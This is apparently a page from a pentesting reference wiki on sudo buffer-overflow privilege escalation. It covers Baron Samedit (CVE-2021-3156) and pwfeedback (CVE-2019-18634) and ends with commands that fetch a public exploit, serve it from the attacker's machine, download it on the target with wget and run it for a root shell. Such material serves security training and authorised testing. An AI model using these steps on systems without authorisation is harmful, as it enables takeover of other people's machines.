Privilege Escalation

Ansible Playbook Privilege Escalation

Apache Conf Privilege Escalation

Bash eq Privilege Escalation

Buffer Overflow Privilege Escalation

Chrome Remote Debugger Pentesting

Doas Privilege Escalation

FireFox Credentials Dumping

Ghidra Debug Mode RCE

Gnuplot Privilege Escalation

LXC/LXD (Linux Container/Daemon) Privilege Escalation

Linux Privilege Escalation

OpenSSL Privilege Escalation

Pip Download Code Execution

PolKit Privilege Escalation

Python Eval Code Execution

Python Jails Escape

Python Privilege Escalation

Python Yaml Privilege Escalation

Ruby Privilege Escalation

Rust Privilege Escalation

SSSD Privilege Escalation

Shared Library Hijacking

Snapd Privilege Escalation

Sudo ClamAV Privilege Escalation

Sudo Dstat Privilege Escalation

Sudo Exiftool Privilege Escalation

Sudo Fail2ban Privilege Escalation

Sudo Git Privilege Escalation

Sudo Java Privilege Escalation

Sudo OpenVPN Privilege Escalation

Sudo Path Traversal Privilege Escalation

Sudo Privilege Escalation

Sudo Privilege Escalation by Overriding Shared Library

Sudo Reboot Privilege Escalation

Sudo Screen Privilege Escalation

Sudo Service Privilege Escalation

Sudo Shutdown, Poweroff Privilege Escalation

Sudo Systemctl Privilege Escalation

Sudo Tee Privilege Escalation

Sudo Umount Privilege Escalation

Sudo Vim Privilege Escalation

Sudo Wall Privilege Escalation

Sudo Wget Privilege Escalation

Sudoedit Privilege Escalation

Tar Wildcard Injection PrivEsc

Update-Motd Privilege Escalation

irb (Interactive Ruby Shell) Privilege Escalation

Buffer Overflow Privilege Escalation

Last modified: 2024-06-27

Buffer overflow in Linux might be vulnerable to privilege escalation (PrivEsc).

Baron Samedit (Heap Buffer Overflow) CVE-2021-3156

1. Check Vulnerability to Overwrite Heap Buffer in Target Machine

sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted

2. Proof of Concept

There are various PoC online.

Pwfeedback

1. Check Enabling the Pwfeedback in /etc/sudoers

If so, when running sudo command and inputting password, asterisk will be displayed.
You can make it the buffer overflow.

cat /etc/sudoers

# -------------------------------------------

...
Defaults pwfeadback
...

2. Input Long String to Password

perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id
# [sudo] password: Segmentation fault

3. Download a Payload and Compile in Local Machine

wget https://raw.githubusercontent.com/saleemrashid/sudo-cve-2019-18634/master/exploit.c
gcc -o exploit exploit.c

4. Transfer the Payload to Remote Machine

# In local machine
python3 -m http.server 8000

# In remote machine
wget http://<local-ip>:8000/exploit

5. Execute the Payload in Remote Machine

After that, you'll get a root shell.

chmod 700 ./exploit
./exploit

Privilege Escalation

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Buffer Overflow Privilege Escalation

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